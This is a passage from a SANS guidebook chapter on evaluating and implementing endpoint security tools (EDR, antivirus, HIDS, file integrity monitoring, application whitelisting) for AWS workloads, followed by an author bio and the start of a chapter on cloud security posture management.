cloud service types, such as platform-as-a-service (PaaS), function-as-a-service (FaaS) and software-as-a-service (SaaS), are not supported by many endpoint security technologies. However, the considerations outlined in this paper can help customers determine what protections vendors provide for these service types. There is also a case to be made for leveraging the cloud shared-responsibility model to reduce an organization’s security burden if the risk for those workloads does not merit the increased visibility or if an organization feels it cannot provide better protection than the cloud vendor even with the increased visibility. In these situations, leveraging PaaS, FaaS and SaaS cloud services can help. Understanding Your Needs In order to evaluate endpoint security, organizations need to have a solid understanding of what capabilities are must-haves versus nice-to-haves to provide the level of protection and visibility they desire. They must also consider how the endpoint security program will be implemented, operated and maintained. Organizations should avoid purchasing technology if there is not sufficient support, funding, resourcing and processes in place to successfully implement, operate and maintain the technology for years. 283After the organization determines and ranks capabilities, it needs to look at existing endpoint security technology, people and processes to understand what is currently in place and whether it is well suited for the cloud. Then, it should investigate alternative technologies, including any cloud-optimized solutions, and catalog the resources and skills that will be required, along with the policies, standards and processes that may need to be updated. This investigation will not be a one-time exercise; these points will be revisited many times throughout the evaluation process before making a choice. “Organizations should avoid purchasing technology if there is not sufficient support, funding, resourcing and processes in place to successfully implement, operate and maintain the technology for years.” Implementation Options in AWS When the cloud was new, the only real option was to leverage technology similar to what an organization was already using on premises, if not the same technology. If you already have a successful and functional on-premises program, this can be an attractive option, but it is not the only option. Review the different options you have available, including cloud-optimized, managed services and licensing options. Then, once you have a rough idea of how you would like to implement endpoint security in AWS, it is time to start building a business case. Cloud-Optimized Organizations may want to look at cloud-optimized solutions for endpoint security in the cloud. Traditional endpoint security technology is typically not performance-friendly. In on-premises environments, the costs for this overhead are not always as easy to see or calculate because there is usually excess capacity that can be used to compensate for the overhead. In the cloud, however, with on- demand pricing and the detailed metrics, the cost of this overhead is much easier to understand. Many cloud-optimized endpoint security tools focus on creating lightweight agents that offload the processing of data and events to other resources or even to a separate, vendor-maintained cloud environment. Solution Guidance in AWSManaged Services Another option for implementing endpoint security in the cloud is to leverage a managed service provider that has experience implementing and maintaining these solutions in the cloud. Using such a provider can be a promising option for many organizations but is especially attractive for organizations that have limited cloud experience or that do not already have endpoint security capabilities. Another advantage of managed service providers is that they typically provide skilled resources and bring with them proven processes and existing cloud vendor contacts and relationships to accelerate implementation and add value quickly. They may also supplement the endpoint security technology with human-assisted analysis, custom development or configuration, and even incident response capabilities. These managed service providers can even extend AWS Marketplace solutions directly to customers through Consulting Partner Private Offers and assist with evaluating licensing options. Licensing Options When considering how to implement endpoint security in the cloud, also consider how to license any chosen technology. If you are planning on using existing on-premises endpoint security capabilities, your organization may already have favorable licensing and it may make sense to follow a bring-your-own- license (BYOL) model. Maybe endpoint security is new to your organization, or maybe you want to evaluate a technology without implementing it more broadly. Perhaps you determine you need a different technology for the cloud or your organization favors on-demand pricing or operational cost structures. If any of those scenarios apply to you, you’ll be relieved to learn that many of the products are available with on- demand pricing from AWS Marketplace. (AWS Marketplace can still be leveraged for many of these technologies following the BYOL approach as well). Needs and Capabilities Cloud architecture differs from what we are used to in our on-premises environments. In the cloud, almost everything is software-defined—and we do not have complete visibility into our resources and surrounding infrastructure. Also, because commissioning and decommissioning resources are so easy to do and costs are typically accrued based on the amount of time the resource is running, cloud resources tend to have much shorter lifecycles. The capabilities surrounding forensics in the cloud are also much less mature than for on-premises environments, and leveraging endpoint security can provide valuable threat intelligence for an organization’s cloud ecosystem that it may not be getting from its PaaS, FaaS and SaaS workloads. 285Next, we look at some of the solutions or capabilities that may exist within endpoint protection platforms and then move on to the topics organizations should consider when preparing to implement endpoint security in the cloud. Needs and Capabilities Note the overlap between the solutions listed below. For example, EDR solutions may provide many of the same capabilities as AV/anti-malware or HIDS solutions. Some AV solutions may also include behavior monitoring, and both HIDS and EDR solutions will most likely perform FIM. This overlap in capabilities will be one of the considerations for organizations that choose to utilize more than one solution. Endpoint Detection and Response The need: Identifying and protecting against unknown threats Capabilities • Detecting security incidents • Behavior monitoring • Analytics • Sandboxing • Containing the incident at the endpoint • Investigating security incidents • Providing remediation guidance Antivirus/Anti-malware The need: Identifying and protecting against known threats Capabilities • Detecting viruses and malware Solution Guidance in AWS• Signature analysis • Behavior monitoring • Blocking and quarantining the virus or malware • Alerting users and administrators of infection Host-based Intrusion Detection The need: Identifying indicators of compromise Capabilities • Detecting suspect behavior • Behavior monitoring • Traffic analysis • FIM • Alerting users and administrators of suspect behavior File Integrity Monitoring The need: Identifying changes to critical or sensitive files Capabilities • Collecting and storing signature data for policy-defined files • Offering interval-based or real-time signature validation • Alerting users or administrators when tracked files are modified 287Application Whitelisting The need: Only allowing approved or authorized, signed software to execute Capabilities • Authorizing software or software signing certificates via policy • Applying policies to resources • Blocking or alerting when unauthorized software executes General Cloud Endpoint Security Considerations Regardless of the endpoint security technology or cloud vendor selected, some general business, technical and operational considerations are associated with implementing endpoint security in the cloud. The following sections highlight many of these considerations. Consideration Policies and standards Governance model Reporting and metrics Funding and support Risk classificationDetails Traditional endpoint security requirements in policies and standards may not be achievable in the cloud, may not function as intended or may not be cost-effective. Organizations will need to evaluate cloud capabilities to determine what changes need to be made to ensure that compliance with policies and standards is achievable. Every organization has a unique governance model. Some organizations have very centralized governance over endpoint security, whereas others may follow a more decentralized approach. Organizations will need to decide whether to centralize or decentralize governance over cloud endpoint security. Then, they must determine whether existing governance models used for traditional endpoint security can be extended to the cloud or whether a cloud-specific model is required. Consider that cloud workloads can easily span the globe and that data residency and visibility restrictions may apply in certain regions. Providing the right metrics, key performance indicators (KPIs) and key risk indicators (KRIs) to the right stakeholders may require changes that account for cloud architecture. Organizations will need to define reporting requirements specific to cloud workloads and evaluate products against these requirements Funding and support for cloud endpoint security may not currently be available. Organizations may not understand the shared responsibility model as it pertains to cloud usage and may assume that endpoint security is provided by the cloud vendor. Organizations will need to understand the requirements and determine the appropriate funding and support model. What is required may differ based on the implementation model the organization chooses (for instance, traditional vs. cloud, BYOL vs. on-demand). Not all workloads share the same risk profile. It is important that organizations consider the risk associated with different cloud workloads to enable them to implement controls based on risk. If cost is not a consideration or if the risks are similar for all workloads, then a single approach to endpoint security may be appropriate. If risks vary greatly among workloads or costs are high, however, an organization will need to understand the various risk profiles to determine where to focus or require endpoint security or what to require for each profile. Business Considerations Solution Guidance in AWS Consideration Endpoint security capabilities Supported technology Agent-based technologies Active vs. interval-based or asynchronous detection and response Secure communicationDetails As organizations update policies and standards to address cloud workloads, they should also identify the technologies they need to comply with these new requirements. Some organizations may choose to be prescriptive about the technologies they use, whereas others may define the required capabilities and allow individual cloud operations teams to select their own technologies as long as they can validate compliance with requirements. Some technologies may not be supported for all cloud services or for all platforms running on cloud services. Organizations will need to decide whether they will allow the use of services and platforms that do not support endpoint security requirements, and if so, under what conditions. These decisions should be documented and maintained so they may be consistently applied throughout the organization. No matter how lightweight, agent-based technologies decrease performance (most cloud endpoint security technologies are agent-based). In the cloud, they increase costs. Organizations may have a restriction on the number of agents that can be installed on each cloud resource. Organizations need to determine how many non-endpoint security agents are already in place to decide whether they need to consider an increase in their limits. They may also have a specific overhead allowance for agents, which needs to be evaluated during any proof of concept. Performance should be assessed before purchase, before upgrades, when configurations change and at regular intervals. Metrics should include overhead and performance monitoring. Technologies that provide active detection and response may require more overhead than technologies that scan at given intervals, during off-peak hours or asynchronously via out-of-band analysis engines. Organizations need to decide whether active detection and response are required or acceptable based on their cloud architecture. In particular, the longevity of cloud resources may affect this decision. Short-lived cloud resources may require more active defenses. Endpoint security solutions all typically communicate with external components or services. The external services could provide product updates or configuration data. They may also be involved in the analysis of data from the target system. Organizations need to ensure that external communication is authenticated and secured. Technical Considerations Operational Considerations Consideration Operational responsibility and model Monitoring and response Processes and proceduresDetails Operation of cloud resources is substantially different from traditional infrastructure operations. This difference may help determine who is responsible for implementing and configuring endpoint security capabilities. Organizations need to decide how best to implement and configure endpoint security technology and determine which group(s) should be responsible for this task. They also need to determine whether operations should be centralized or decentralized. While implementation and configuration of endpoint security capabilities may be assigned to an existing cloud operations team, monitoring may be the responsibility of others. Response could be the responsibility of either team. Organizations need to determine who will be responsible for monitoring and responding to endpoint security events. They will also need to evaluate what orchestration and automation of technology, people and processes can be leveraged or integrated into the final solution. Organizations may have very specific processes and procedures for dealing with endpoint security events related to their traditional on-premises infrastructure. It is likely, however, that these processes and procedures will be different in the cloud. Organizations need to create new operational processes and procedures for endpoint security in the cloud, considering any changes they have made to policies and standards related to cloud or endpoint security in the cloud. 289AWS Implementation Considerations The general considerations discussed so far can help organizations lay the groundwork as well as secure funding and support for cloud endpoint detection. Now let’s take a more detailed look at some specific considerations an organization will need to evaluate before implementing these solutions in AWS. Endpoint Detection and Response The advantage of EDR solutions is that they focus on adding capabilities that allow them to identify unknown threats. If your organization’s threat profile includes targeted attacks or advanced threat actors, consider endpoint protection platforms that excel in EDR. You may also consider EDR for high- risk workloads or for performance reasons, because many of these solutions offload processing to other resources. False positive rates may be higher for EDR than some other types of tools. Consideration Cloud context support Performance and efficiencyDetails Due to the dynamic nature of the cloud, a resource that existed a few hours ago may not exist now. Because many EDR technologies perform analysis of data or binaries external to the resource itself, there is a chance that when analysis is completed the resource may no longer exist. Evaluate: • The additional cloud context (specifically, tags or image IDs) that is captured, retained and used by EDR technology to allow correlation of findings and behavior with resources and the images and image versions used to create those resources • The special concerns associated with studying resources that have potentially replaced the original resource from which data was gathered Many EDR platforms claim to have lightweight agents that offload analysis and processing tasks to other systems. Customers should analyze the impact and performance on production workloads. Due to the offload architecture, these technologies typically send data and binaries to separate systems or to the vendor’s cloud infrastructure to perform analysis. Depending on the cloud regions in use, the transfer of data and binaries to external resources could affect both the performance and the cost of the technology. In addition, depending on the architecture, analyzing the same data and binaries from multiple systems may add additional processing time and reduce efficiency. Evaluate: • The architecture of the tools under consideration • Performance (CPU, memory, storage and bandwidth utilization) when used with production workloads • The amount of data and binaries that will be transferred and to what location(s) the data is being transferred • Potential impacts on cost and performance due to bandwidth • Performance impact of latency between all cloud regions in use and any identified external resources • Efficiency of coordination between agent and analysis engine(s) and efficiency of threat data distribution • Support for data compression Solution Guidance in AWS Consideration Deployment Configuration and maintenance DetectionDetails EDR platforms may require the implementation of multiple components, and these components may need to be installed in multiple zones or regions to support distributed cloud environments. They also require the implementation of agents on the supported endpoints. Evaluate: • The architecture of the tools under consideration • The installation and configuration procedures for each component and agent • The availability of managed or SaaS components or preconfigured appliances from AWS Marketplace • Effectiveness and responsiveness of support • Any vendor requirements for the use of professional services for installation or configuration • Integration with other AWS technologies for deployment or validation of agent deployment (AWS Systems Manager, AWS Config, Amazon CloudWatch)2 In order to improve the quality of detection and response, EDR technologies may require extensive configuration and maintenance. Customization of detection rules and response scripts may be available depending on product. In addition, EDR components and agents will need to be upgraded and may also require updates to datasets used for analysis. Evaluate: • The architecture of the tools under consideration • The upgrade procedures • The procedures for updating any datasets leveraged by analysis engines or agents • Reporting, metrics or alerting available for any out-of-date components, agents or data • Communication protocols and paths to understand required firewall and ACL changes along with any VPC peering or cross-account access • Any vendor requirements for the use of professional services for upgrades or updates • Accessibility to detection rules, scripts and other configuration details (open or proprietary) • Whether the platform allows customers to build or create their own rules • Level of effort to perform customizations to rules, scripts or configurations or to create new rules • Integrations with other AWS technologies (such as AWS Config, AWS Lambda) or configuration management tools (Puppet, Chef, Ansible, SaltStack, CFEngine) to perform updates or upgrades or apply configurations • Secure configuration guides and best practices Because EDR technologies support detecting both known and unknown threats, organizations should evaluate their effectiveness as part of the selection process. Evaluate: • Detection rate of any well-known or unknown malware samples, if your organization practices malware analysis and has appropriate analysis environments • Detection methods employed • Available benchmarks or comparisons by third-party evaluators • Product reviews and customer forums • Customer references • Whether detection is real-time, interval-based, asynchronous or configurable for each detection mechanism supported • Whether detection includes detection of non-file-based malware (such as memory resident malware) Endpoint Detection and Response (continued) This paper mentions product names to provide real-life examples of how visibility tools can be used. The use of these examples is not an endorsement of any product. 291 Consideration Integration Reporting, metrics and alerting Response capabilitiesDetails Many EDR platforms also integrate with other business and security platforms. Understand what integrations are supported out-of-the-box and the level of effort required to build custom integrations. Evaluate: • Supported plugins and integrations with business and security platforms in use by the organization (such as AWS, ticketing, SIEM, incident response, threat intelligence) and the capabilities of these plugins and integrations • API support (such as API-first, REST API available, programmatic API available) • Whether the platform allows the customer to build custom plugins or integrations • Level of effort required and technology (languages, frameworks, and the like) supported when building custom plugins or integrations EDR platforms have response capabilities, but not all rules trigger a response. Accessing and viewing what these platforms detect and the actions they take is critical to the security of the organization’s endpoints. Taking that action can also aid in the identification of rules or configurations that require modification and can also assist in troubleshooting production incidents that may be caused by the EDR platform (false positive detection and response). Evaluate: • Support for centralized logging technologies and communication protocols, including integration with any existing or proposed SIEM technology • Out-of-the-box reports and dashboards against current program requirements • Ability and level of effort required to create custom measures and metrics • Alerting mechanisms and ability to create or modify alerts • Supported reporting and alerting formats and delivery mechanisms • Integration with AWS reporting and alerting tools (such as AWS Security Hub, Amazon CloudWatch Events, Amazon Simple Notification Service [SNS]) • Support for data aggregation across regions • Supported data export formats Another distinguishing factor when evaluating EDR technologies is what response capabilities are available in the platform. Understand not only what response abilities exist for both human-assisted and automated response but also what expertise is required to set up, configure and maintain these capabilities. Evaluate: • Out-of-the-box response capabilities and features • Technologies and languages supported for automated response • Organization’s ability to support automation through identified technologies and languages • Auditing and tracking of response actions • Integration with AWS response capabilities and APIs Endpoint Detection and Response (continued) EDR platforms are becoming more popular as organizations strive to protect themselves against emerging threats and want to acquire more active response capabilities. We have also seen, however, that companies utilizing these technologies are still susceptible to security breaches. Implementing an EDR platform requires more than just the licensing and implementation of the technology components. It requires active monitoring, response, reconfiguration and maintenance. Make sure your organization is aware of the true costs of ownership: training requirements, resource requirements, integration Solution Guidance in AWSrequirements and the costs to update policy, standards, processes and procedures. Also, make sure to thoroughly evaluate reporting, monitoring and alerting capabilities, because these are the most likely to require customization or integration work. Antivirus/Anti-malware The advantage of AV solutions is that they are typically mature products that excel at identifying known viruses and malware using signature-based and other techniques. Although attackers can easily evade these detections, positive identification from these tools indicates a real threat, and false positive rates are low when organizations use signature-based detection. Consider mature AV products if EDR technologies are prohibitively expensive, incapable of detecting known threats, difficult to tune or drags on performance. You still need to complete a performance analysis for AV capabilities because the resource requirements will vary based on architecture and supported detection mechanisms. Consideration Cloud context support Performance and efficiency DeploymentDetails If investigation of AV detections is delayed, the resource(s) affected may no longer exist in your cloud environment. Also, if a virus or worm is spreading throughout your environment, understanding more about the cloud asset can help speed response to the threat. Evaluate: • The additional cloud context (such as tags or image IDs) that is captured and retained by AV technology to allow correlation of detections with resources and the images and image versions used to create those resources • The special concerns associated with studying resources that have potentially replaced the original resource from which data was gathered Traditional AV agents are not known for being lightweight and are much more likely to store and process data on the cloud resource itself. Consider how this will affect instance sizing and storage requirements. Evaluate: • The architecture of the tools under consideration • Performance (CPU, memory, storage and bandwidth utilization) when used with production workloads • Amount of data sent and received from management console(s) • Amount of data stored on disk (such as signature database, logs, quarantine) • Support for data compression AV software requires agents and may also report data back to a management console. Update servers may also be used to distribute updates to the software and signature database. Evaluate: • The architecture of the tools under consideration • The installation and configuration procedures for agents and any management infrastructure • The availability of managed or SaaS components or preconfigured appliances from AWS Marketplace • Effectiveness and responsiveness of support • Any vendor requirements for the use of professional services for installation or configuration • Integration with other AWS technologies (such as AWS Systems Manager, AWS Config, Amazon CloudWatch) for deployment or validation of agent deployment 293Antivirus/Anti-malware (continued) Consideration Configuration and maintenance Detection IntegrationDetails Traditional AV products are not as configurable as EDR platforms, but it is still important to understand and review configurations on a regular basis. Reviews should be required on changes to the default configuration. Evaluate: • The architecture of the tools under consideration and the upgrade/update procedures • The procedures for updating signatures • Communication protocols and paths to understand required firewall and ACL changes along with any VPC peering or cross-account access • Reporting, metrics or alerting available for any out-of-date agents or signatures • Any vendor requirements for the use of professional services for upgrades or updates (not common) • Ability to customize scan intervals or manage exclusions • Whether the platform allows customers to add their own signatures • Availability and content of secure configuration guides and best practices Traditional AV technologies focus primarily on known threats. It is important for organizations to evaluate their effectiveness as part of the selection process. Evaluate : • Detection methods of any known malware samples available, if your organization practices malware analysis and has appropriate analysis environments • Available benchmarks or comparisons by third-party evaluators • Product reviews and customer forums • Customer references • Whether detection is real-time, interval-based, asynchronous or configurable for each detection mechanism supported • Whether detection includes detection of non-file-based malware (memory resident malware, for example) Traditional AV platforms have historically operated independently of other technologies and systems with the exception perhaps of log aggregation technologies, but it is still important to understand what integrations are supported out-of-the-box and the level of effort required to build any custom integrations. Evaluate: • Supported plugins and integrations with business and security platforms in use by the organization (such as AWS, ticketing, SIEM, incident response, threat intelligence) and the capabilities of these plugins and integrations • API support (API-first, REST API available, programmatic API available, to name a few) • Whether the platform allows the customer to build custom plugins or integrations • Level of effort required and technology (such as languages or frameworks) supported when building custom plugins or integrations Solution Guidance in AWSAntivirus/Anti-malware (continued) Consideration Reporting, metrics and alertingDetails AV software will detect and attempt to neutralize a high percentage of well-known threats in your environment. Nevertheless, implement adequate reporting, metrics and alerting to respond quickly when you see new threats in your environment, because the extent of the automated response may be limited to killing processes and quarantining malware. Enhance the effectiveness of the technology by supporting defined standards and goals. Evaluate: • Out-of-the-box reports and dashboards against current program requirements • Ability and level of effort required to create custom measures and metrics • Alerting mechanisms and ability to create or modify alerts • Supported reporting and alerting formats and delivery mechanisms • Integration with AWS reporting and alerting tools (such as AWS Security Hub, Amazon CloudWatch Events, Amazon SNS) • Support for data aggregation across regions • Supported data export formats There are many mature options when evaluating AV solutions. However, not all of these vendors have focused on optimizing their technology for the cloud. Take this into consideration when evaluating your current on-premises AV technology against other options for implementation in cloud environments. Performance and reporting may be the biggest considerations when implementing AV in the cloud. Host-based Intrusion Detection HIDS capabilities will be included with EDR solutions and bundled with other EPPs even if they may not advertise themselves as EDR solutions. Consider an EPP or product that focuses on HIDS if 1) EDR is prohibitively expensive or negatively affects performance, and 2) you want to detect indicators of compromise (IoCs). You will still need performance analysis for HIDS capabilities, because the resource requirements will vary based on the detection mechanisms supported and your architecture. HIDS may also offer more visibility into network traffic, depending on product capabilities. 295 Consideration Cloud context support Performance and efficiencyDetails If investigation of HIDS detections is delayed, the resource(s) affected may no longer exist in your cloud environment. Understanding more about the cloud asset can help speed response to the threat. Evaluate: • The additional cloud context (tags or image IDs) that is captured and retained by HIDS technology to allow correlation of detections with resources and the images and image versions used to create those resources • The special concerns associated with studying resources that have potentially replaced the original resource from which data was gathered Because of the move to EDR, traditional HIDS agents may not be optimized for cloud. Consider how this will affect instance sizing and storage requirements. Evaluate: • The architecture of the tools under consideration • Performance (CPU, memory, storage and bandwidth utilization) when used with production workloads • Amount of data sent and received from management console(s) • Amount of data stored on disk (logs) • Support for data compression Host-based Intrusion Detection Solution Guidance in AWS Consideration Deployment Configuration and maintenance Detection IntegrationDetails HIDS software requires agents to identify indicators of compromise and may also report data back to a management console. Evaluate: • The architecture of the tools under consideration • The installation and initial configuration procedures for agents and any management infrastructure • The availability of managed or SaaS components or preconfigured appliances from AWS Marketplace • Effectiveness and responsiveness of support • Any vendor requirements for the use of professional services for installation or configuration • Integration with other AWS technologies (such as AWS Systems Manager, AWS Config, Amazon CloudWatch) for deployment or validation of agent deployment HIDS agents and corresponding policies or rules will need to be tuned to eliminate false positives and may require custom rules or policies to monitor specific configurations or logs. They will also require regular maintenance and updates/upgrades. Evaluate: • The architecture of the tools under consideration • The upgrade procedures • The procedures for updating any datasets leveraged by agents • Reporting, metrics or alerting available for any out-of-date agents or policies • Communication protocols and paths to understand required firewall and ACL changes along with any VPC peering or cross-account access • Any vendor requirements for the use of professional services for upgrades or updates • Accessibility to detection rules, scripts and other configuration details (open or proprietary) • Whether the platform allows customer to build or create their own rules • Level of effort to perform customizations to rules, scripts or configurations or create new rules • Integrations with other AWS technologies (such as AWS Config and AWS Lambda) or configuration management tools (Puppet, Chef, Ansible, SaltStack, CFEngine) to perform updates or upgrades or apply configurations • Secure configuration guides and best practices HIDS technologies require the implementation of agents on the supported endpoints. They may also require the provisioning and deployment of management consoles and centralized update servers or appliances. Evaluate: • Detection methods employed • Data and services included for monitoring and detection • Available benchmarks or comparisons by third-party evaluators • Product reviews and customer forums • Customer references HIDS software may support integration with other reporting and alerting capabilities. Evaluate: • Supported plugins and integrations with business and security platforms in use by the organization (such as AWS, ticketing, SIEM, incident response, threat intelligence) and the capabilities of these plugins and integrations • API support (such as API-first, REST API available, programmatic API available) • Whether the platform allows the customer to build custom plugins or integrations • Level of effort required and technology (languages and frameworks) supported when building custom plugins or integrations Host-based Intrusion Detection (continued) 297 Consideration Reporting, metrics and alertingDetails HIDS technologies focus on detection. For that reason, reporting, alerting, monitoring and response procedures are crucial. Evaluate: • Out-of-the-box reports and dashboards against current program requirements • Ability and level of effort required to create custom measures and metrics • Alerting mechanisms and ability to create or modify alerts • Supported reporting and alerting formats and delivery mechanisms • Integration with AWS reporting and alerting tools (such as AWS Security Hub, Amazon CloudWatch Events, Amazon SNS) • Resources and processes to support monitoring of reports and response to alerts • Support for data aggregation across regions • Supported data export formats Host-based Intrusion Detection (continued) HIDS can provide insight into what is happening on your endpoints when more advanced endpoint detection and response is not available. However, if cloud endpoints have short lifecycles, HIDS may not provide as much value unless enough cloud context is available to determine which detections or events are relevant to similar cloud endpoints or the cloud endpoint that replaced the endpoint on which the initial event occurred. File Integrity Monitoring FIM may be included in many of the other EPP solutions, but you may consider it as a point solution if integrity is significantly more important than confidentiality and availability, and if the capabilities of the solutions included in your EPP do not meet your needs. FIM may become less important as organizations move toward more immutable workloads, where most sensitive files reside on read-only portions of the file system and more consistently leverage PaaS for back-end storage technologies (such as Amazon RDS, Amazon S3). Consideration Reporting, metrics and alertingDetails File integrity monitoring typically affects performance much less than other endpoint security technologies because it is focused only on the integrity of files. Performance should still be evaluated before using these technologies in the cloud, especially when other security agents are also installed. Evaluate: • The architecture of the tools under consideration • Performance (including CPU, memory, storage and bandwidth utilization) when used with production workloads • Amount of data sent and received from management console(s) • Amount of data (such as file hash/signature database, logs) stored on disk • Support for data compression Solution Guidance in AWS Consideration Deployment Configuration and maintenance Integration Reporting, metrics and alertingDetails FIM software requires agents to identify changes to monitored files and may also report data back to a management console. Evaluate: • The architecture of the tools under consideration • The installation and initial configuration procedures for agents and any management infrastructure • The availability of managed or SaaS components or preconfigured appliances from AWS Marketplace • Effectiveness and responsiveness of support • Any vendor requirements for the use of professional services for installation or configuration • Integration with other AWS technologies (such as AWS Systems Manager, AWS Config, Amazon CloudWatch) for deployment or validation of agent deployment Configuration and maintenance of FIM software may be less cumbersome than the other solutions we have discussed, but all solutions require some degree of configuration and maintenance. Evaluate: • The architecture of the tools under consideration • The upgrade procedures • Reporting, metrics or alerting available for any out-of-date agents • Communication protocols and paths to understand required firewall and ACL changes, along with any VPC peering or cross-account access • Any vendor requirements for the use of professional services for upgrades or updates • Level of effort to configure policy that determines which files to monitor • Integrations with other AWS technologies (such as AWS Config and AWS Lambda) or configuration management tools (Puppet, Chef, Ansible, SaltStack, CFEngine) to perform updates or upgrades or apply configurations • Secure configuration guides and best practices FIM software may support integration with other reporting and alerting capabilities. Evaluate: • Supported plugins and integrations with business and security platforms in use by the organization (such as AWS, ticketing, SIEM, incident response, threat intelligence) and the capabilities of these plugins and integrations • API support (including API-first, REST API available, programmatic API available) • Whether the platform allows the customer to build custom plugins or integrations • Level of effort required and technology (languages and frameworks) supported when building custom plugins or integrations If a monitored file is changed, human intervention is typically required to determine the cause and whether it was an approved change. Adequate reporting and alerts are needed to facilitate this process. Evaluate: • Out-of-the-box reports and dashboards against current program requirements • Ability and level of effort required to create custom measures and metrics • Alerting mechanisms and ability to create or modify alerts • Supported reporting and alerting formats and delivery mechanisms • Integration with AWS reporting and alerting tools (such as AWS Security Hub, Amazon CloudWatch Events, Amazon SNS) • Resources and processes to support monitoring of reports and response to alerts • Support for data aggregation across regions • Supported data export formats File Integrity Monitoring (continued) 299FIM is one of the easier technologies to implement for most organizations. Depending on the configuration, however, the number of files being monitored and the amount of change in the organization, the number of resources required to follow up on alerts can be excessive. Continuous tuning and integration with change management can help reduce to a manageable level the number of alerts requiring human interaction. Application Whitelisting Application whitelisting protects endpoints by either ensuring that only known software is allowed to execute or notifying administrators when unapproved software is executed on endpoints. This protection may be accomplished by validating hashes or signatures associated with the software or by validating software-signing certificates against the policies defined by the organization and assigned to each endpoint. Application whitelisting makes the exploitation and installation phases of the attack kill chain much more difficult. Consider application whitelisting if your environment has a high degree of homogeneity or if your organization’s deployment processes are mature and would support automating the development and maintenance of the whitelist policies. Caution: Application whitelisting technologies may not prevent attacks against known vulnerabilities in whitelisted applications, so be sure to follow good vulnerability management practices. Consideration Performance and efficiency DeploymentDetails Application whitelisting solutions generally do not affect performance as much as other endpoint security solutions—as long as they are configured correctly. If they are misconfigured and block legitimate applications or services, the performance impact is significant. Changes to rules and to cloud resources should be thoroughly tested before deployment. Evaluate: • The architecture of the tools under consideration • Performance (CPU, memory, storage and bandwidth utilization) when used with production workloads • Amount of data sent and received from management console(s) • Support for data compression Application whitelisting solutions typically require agents and a management console to update and distribute configurations and receive alerts from agents. Evaluate: • The architecture of the tools under consideration • The installation and configuration procedures for agents and management infrastructure • The availability of managed or SaaS components or preconfigured appliances from AWS Marketplace • Effectiveness and responsiveness of support • Any vendor requirements for the use of professional services for installation or configuration • Integration with other AWS technologies (such as AWS Systems Manager, AWS Config, Amazon CloudWatch) for deployment or validation of agent deployment Solution Guidance in AWSApplication Whitelisting (continued) Consideration Configuration and maintenance Reporting, metrics and alertingDetails Configuration and maintenance of whitelisting policies is critical to the successful use of application whitelisting. In enterprise environments, standardization and automation can help reduce this burden. Automated testing can validate changes to the whitelist or cloud resources before release into production environments. Evaluate: • The architecture of the tools under consideration • The upgrade procedures • The procedures for updating whitelists • Reporting, metrics or alerting available for any out-of-date agents or policies • Communication protocols and paths to understand required firewall and ACL changes along with any VPC peering or cross-account access • Any vendor requirements for the use of professional services for upgrades or updates • Level of effort to create and maintain whitelists and any assistance provided by technology • Integrations with other AWS technologies (such as AWS Config or AWS Lambda) or configuration management tools (Puppet, Chef, Ansible, SaltStack, CFEngine) to perform updates and upgrades or to apply configurations • Secure configuration guides and best practices In order to respond quickly to outages caused by whitelists and aid in the identification of attempted exploits and unauthorized installations, evaluate the reporting and alerting features available. Evaluate: • Support for centralized logging technologies and communication protocols including integration with any existing or proposed SIEM technology • Out-of-the-box reports and dashboards against current program requirements • Ability and level of effort required to create custom measures and metrics • Alerting mechanisms and ability to create or modify alerts • Supported reporting and alerting formats and delivery mechanisms • Integration with AWS reporting and alerting tools (such as AWS Security Hub, Amazon CloudWatch Events, Amazon SNS) • Support for data aggregation across regions • Supported data export formats Application whitelisting is a mature, layered security control that can be leveraged to reduce the impact of vulnerabilities in cloud environments and make exploitation of cloud resources more difficult. Because standardization is more common in the cloud, application whitelisting may be more achievable and easier to maintain. Heavy use of automation and DevOps principles can also help ease the burden of ongoing configuration and maintenance. 301Making the Choice To summarize, the key considerations for implementing endpoint security in AWS are: • Cloud context • Efficiency • Ease of use • Reporting • Ease of integration • Effectiveness Have a Plan By defining and understanding their cloud architecture, risk profile, business requirements and available resources along with understanding any gaps, organizations will be in a good position to determine which considerations outlined above are most important to them. Based on those considerations, organizations should develop a proof-of-concept test plan and evaluation matrix. The test plan and matrix should include a ranking of importance for each consideration, and where possible, acceptance thresholds. When the test plan is complete, the organization should identify two or more representative cloud environments in which to conduct the test. They should identify any additional technology they may need to aid in the evaluation of certain considerations. For example, evaluating the performance and efficiency of agents will most likely require additional setup and configuration, and, depending on the platform, performance monitoring tools may be required. Consider Partners As organizations build out their cloud and cloud security strategy and plan, they may want to consider working with partners to accelerate their efforts or fill any gaps in knowledge or resources that are identified. All consulting partners may extend AWS Marketplace third-party solutions directly to customers through Consulting Partner Private Offers (CPPO). Not every organization will be able to find resources with deep cloud experience and even experienced cloud technologists may only have experience in specific industries or with specific cloud vendors. Solution Guidance in AWSTest and Evaluate With the plan and any additional requirements in place, the technology should be installed in the test environment, configured and monitored to gather enough data to evaluate each consideration. Every step of the process should be measured. Organizations, if possible, should avoid allowing vendors to install and configure the technology for the proof of concept unless they will be installing and managing the solution after purchase as well. At a minimum, technical resources should be available to observe these processes. After the proof-of-concept test, organizations should evaluate the results against the test plan and acceptance thresholds. Use the collected and documented results to compare functionality, cost and other factors to determine the best solution(s) to employ. Conclusion Endpoint security for IaaS cloud workloads is an important part of an organization’s cloud security strategy. Not only does it provide additional protections for these workloads, but it also provides additional visibility into cloud resources and the actual threats that exist in an organization’s cloud environments. While many organizations are still concerned about the performance impacts and associated costs, cloud endpoint security vendors have matured, and cloud-optimized solutions are more accessible. Fortunately, many of these solutions are offered on-demand, which makes evaluating these products and services much easier than it was in the past. To get started, you may want to review what products are available in AWS Marketplace or through a SaaS model to jump-start your evaluation process. About the Author David Hazar is a SANS analyst, instructor and co-author of SANS MGT516: Managing Security Vulnerabilities: Enterprise and Cloud. He also is an instructor for SANS SEC540: Cloud Security and DevOps Automation. With close to 20 years of broad, deep technical experience gained from a variety of hands-on roles serving the financial, healthcare and technology industries, his current areas of focus include vulnerability management, application security, cloud security and secure DevOps. He holds the CISSP, GWAPT, GWEB, GMOB, GCIA, GCIH, GCUX, GCWN, GSSP-.NET and GSTRT certifications. 303Chapter 23: Solution Guidance to Cloud Security Posture Management in AWS “Cloud security posture management (CSPM) is a relatively new term when it comes to security capabilities. In the past couple of years, CSPM has gained popularity as organizations move to a cloud-first mentality, shared by many. CSPM allows us to monitor our cloud environment, manage the risk, maintain visibility and understand the operations within an organization’s AWS accounts. With CSPM’s unique ability to monitor all regions in an AWS account without excessive overhead configuration costs, users can expect scalable deployment and rapid adoption of AWS. CSPM enables efficient investigations because it centralizes data sources that provide operational and security insight. As we talk about the different considerations throughout this paper, we highlight the tactics that can aid in an 